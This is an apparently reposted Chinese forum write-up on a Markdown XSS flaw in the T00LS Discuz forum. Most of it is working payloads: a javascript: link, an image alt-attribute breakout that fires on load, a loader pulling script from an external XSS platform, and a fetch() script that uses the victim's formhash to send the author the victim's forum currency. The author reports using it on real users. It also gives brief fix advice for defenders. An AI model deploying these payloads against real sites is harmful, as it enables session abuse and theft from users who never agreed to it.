• 来自T00ls的帖子-XSS的奇技淫巧


    T00LS在前段时间开启了markdown支持,这个漏洞也正是markdown的问题导致。

    Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。

    Markdown本身是一种标记语言,在网页上的应用也很简单,比如当我在markdown中输入**加粗**,那么经过转换之后,这个短句将会变成<strong>加粗</strong>。其实也是一系列的html转换,由此就会出现很多XSS的问题。

    下面我结合T00LS的实例简单说一说Markdown的XSS漏洞。

    最基础的栗子,点击触发XSS

    很多人了解markdown以后,可能想到的第一个XSS就是这个。

    我们知道markdown可以插入超链接。用法如下:

    [王松的博客](http://www.hackersb.cn)
    

    渲染出来的效果如下:

    王松的博客

    那么如果我们使用伪协议呢?比如:

    [XSS](javascript:alert(1))
    

    答案是可以弹框。然后我们弹出Cookies就会发现Discuz的cookies都设置了httponly,也就说说无法用javascript来获取cookies。

    但是我们可以获取Discuz的formhash呀,在Discuz中,为了防止CSRF,几乎每个操作都使用了formhash,我们能获取到formhash,就可以操作当前账户几乎所有的动作了。

    那么用js如何获取Dz的formhash呢?

    在帖子正文页,我们可能会需要回帖,所以肯定会有formhash,如下:

    那就很简单了。

    获取到formhash以后,我们可以选择直接发送ajax请求来用formhash做点“有趣的事情”,比如发帖,转账?

    高级一点,自动触发

    在上面的操作中,我们需要被攻击者点击超链接才可以触发漏洞,那么我们能不能直接触发呢?

    我们先来看看在markdown中如何使用图片吧。栗子如下:

    ![头像](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)
    

    渲染效果如下:

    我们先来看看转换后的html长啥样吧:

    我们在[]中输入的内容变成了html中的alt,那么如果我们在这中间用双引号是否能够逃逸出来,加个onload或者onerror属性呢?

    比如:

    ![头像" onload=alert(1)](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)
    

    输出结果如下:

    很明显alert后面多了一个双引号,所以我们简单改一下payload,注释掉后面:

    ![头像" onload=alert(1);//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)
    

    然后刷新以后:

    果然执行了…… 这个时候已经自动触发了。

    输出样式如下:

    一个能自动触发的XSS,可比需要点击的XSS威力大了许多。

    但是在实战中我们要执行的js代码可能会非常长,所以在onload里面写js难免会很麻烦。

    so 我们需要引入外部js。

    再高级一些,引入外部js

    这次我们直接点,payload如下:

    ![头像" onload=s=createElement('script');body.appendChild(s);s.src='外部js的url';//](https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)
    

    比如我们引用一个弹出formhash的js:

    这里我用到了安全盒子的XSS平台,地址是x.secbox.cn

    成功弹出formhash:

    实例:转走别人的Tubi

    我们先来选一个目标,这里我就选择我们团队的核心大佬 @phithon 了。

    为了不误伤其他小伙伴,我这里就编辑我以前的帖子,发给phithon师傅去看,从而触发XSS。

    基本思路如下:

    1. p神访问触发XSS
    2. 获取formhash
    3. ajax请求模拟赞赏帖子

    这里选择赞赏贴子的原因是因为银行转账需要输入论坛密码,无法模拟转账,我们只是做漏洞演示,所以赞赏就够啦。

    赞赏也是可以自定义tubi的,我们就来“偷”10个p神的tubi吧~

    payload编写

    很简单的payload就不解释了,如下:

    var formhash = document.getElementsByName('formhash')[0].value;
    fetch("https://www.t00ls.net/misc.php?action=userrate&userratesubmit=yes&infloat=yes&inajax=1&inajax=1", {
    method: "POST",
    credentials: "include",
    headers: {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1",
    "Connection": 'keep-alive',
    },
    body: "formhash=" + formhash + "&tid=39705&do=dashang&handlekey=userrate&score=%2B10&reason=thanks"
    }).then(function(res) {
    if (res.ok) {
    alert("谢谢你的10Tubi!!!");
    }
    }, function(e) {
    alert("Error submitting form!");
    });
    

    然后引入一下,即可“偷”tubi:

    那么我们现在把这个帖子发给phithon师傅去看。

    好了,我们现在再把这个url发给雨神:

    战果:

    感谢phithon和lcy的1tubi,还有雨神的10tubi。

    实例:蠕虫

    不敢写,想想整个T00LS都弥漫着蠕虫的气息,我就觉得害怕。

    漏洞修复及总结

    markdown转换到html后,再进行一系列的过滤吧,html属性白名单什么的,也可以使用开源的项目,比如:http://htmlpurifier.org/

    其实这个拿到Discuz的formhash能做的事情很多很多…… 比如置顶帖子,修改版规,等等,如果是有后台权限的管理员触发,或许还可以模拟后台的一些操作,危害是挺大的。

    最后再次感谢phithon和lcy的1tubi,还有雨神的10tubi。

    抱拳了老铁。介绍:请勿用于非法用途,本文仅供技术交流学习探讨。本文部分资源来源于网络,如有侵权请联系版主删除。

    技术交流确认眼神,请移步渔夫安全官方微信:渔夫(xz116035)
  • 相关阅读:
    方维分享系统,分享的用户得到商品的佣金
    方维采集失败,方维后台采集不了怎么办
    thinkphp 的 URL 中的 & 被转义成了 &amp; 成了死链接
    PHP用curl采集天猫详细页
    xampp1.8.3 配置 php5.x 访问 SQL Server 2008
    ArcGIS 10 线转点 polyline to points
    使用BCP从Sybase远程数据库中导出数据
    百度UEditor添加视频 增加支持“通用代码”功能,支持微信
    firefox修改user-agent
    Twitter Storm学习笔记
  • 原文地址:https://www.cnblogs.com/yufusec/p/9165692.html
Copyright © 2020-2023  润新知